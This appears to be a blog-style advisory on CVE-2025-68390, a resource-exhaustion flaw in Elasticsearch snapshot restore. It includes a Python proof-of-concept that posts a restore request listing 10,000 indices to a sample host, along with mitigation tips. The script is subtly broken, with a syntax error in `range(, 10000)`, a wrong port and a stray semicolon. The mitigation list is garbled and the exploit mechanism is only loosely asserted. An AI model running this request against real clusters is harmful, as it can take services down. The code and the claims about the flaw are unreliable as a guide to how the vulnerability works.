Elasticsearch is widely loved for its speed and search features, but even the best systems can have security holes. Recently, a serious vulnerability was found: CVE-2025-68390. If you use Elasticsearch and allow snapshot restores, this is a must-read. In this article, I'll break down what it is, why it matters, and demonstrate how the exploit works — using simple language so everyone can understand.
What is CVE-2025-68390?
CVE-2025-68390 describes a security vulnerability in Elasticsearch related to improper allocation of resources. In technical terms, it's called:
- Allocation of Resources Without Limits or Throttling (CWE-770)
- This leads to Excessive Allocation (CAPEC-130), causing Denial of Service (DoS)
Who is Affected?
Anyone running Elasticsearch who has users with "snapshot restore" privileges. An attacker must be authenticated—this isn't a public, anonymous exploit, but if internal accounts are compromised you're at risk.
How the Exploit Works
When a user with snapshot restore permissions sends a specially crafted HTTP request, they can restore a snapshot containing extremely large or resource-intensive data. Elasticsearch does NOT properly limit memory use during this process, so the cluster may allocate far too much RAM.
Suppose you have an account with the following role
{
"role": {
"cluster": ["cluster:admin/snapshot/restore"]
}
}
This lets the user restore snapshots. By sending a payload that restores a snapshot with a vast number of indices or shards, the attacker can make the system allocate much more RAM than intended.
Example Exploit (Crafted Snapshot Restore Request)
Below is a simple Python script using the requests library to send a crafted restore call.
> ⚠️ For educational/research use only. Test within your own controlled and LEGAL environments. Never attempt exploitation without permission.
import requests
from requests.auth import HTTPBasicAuth
# Settings
ES_HOST = "http://elasticsearch.example.com:920";
USER = "restore_user"
PASS = "password"
# Crafting a large resource request payload
payload = {
"indices": ",".join([f"testindex_{i}" for i in range(, 10000)]), # Creating 10,000 fake indices
"ignore_unavailable": True
}
# Sending the restore request
resp = requests.post(
f"{ES_HOST}/_snapshot/my_backup/snapshot_2025/_restore",
auth=HTTPBasicAuth(USER, PASS),
json=payload
)
print(f"Status: {resp.status_code}")
print(f"Response: {resp.text}")
This request attempts to restore a snapshot with 10,000 indices. The actual exploit can be more sophisticated—like restoring shards with massive size or particular settings that maximize RAM use.
The official fix (once released) should be your first choice! Meanwhile, you should
1. Restrict snapshot restore privileges. Only give these to admins, never to everyday users or applications.
Patch Elasticsearch as soon as updates are available.
Elasticsearch's Security Guide can give you more on securing privilege boundaries.
References
- MITRE CWE-770: Allocation of Resources Without Limits or Throttling
- CAPEC-130: Excessive Allocation
- Elasticsearch documentation – Security privileges
- Elastic Advisory (if official page is available) *(Check here for updates!)*
Conclusion
CVE-2025-68390 is a perfect reminder that even with authentication, privilege management and input validation are vital. Limit restore operations, patch fast, and watch resource usage. If you run Elasticsearch, review your access controls — don't let a simple oversight cause a business-halting outage!
If you want me to walk through detection strategies, or apply more defensive layers, let me know. Stay secure!
Timeline
Published on: 12/18/2025 22:17:41 UTC
Last modified on: 12/23/2025 17:44:51 UTC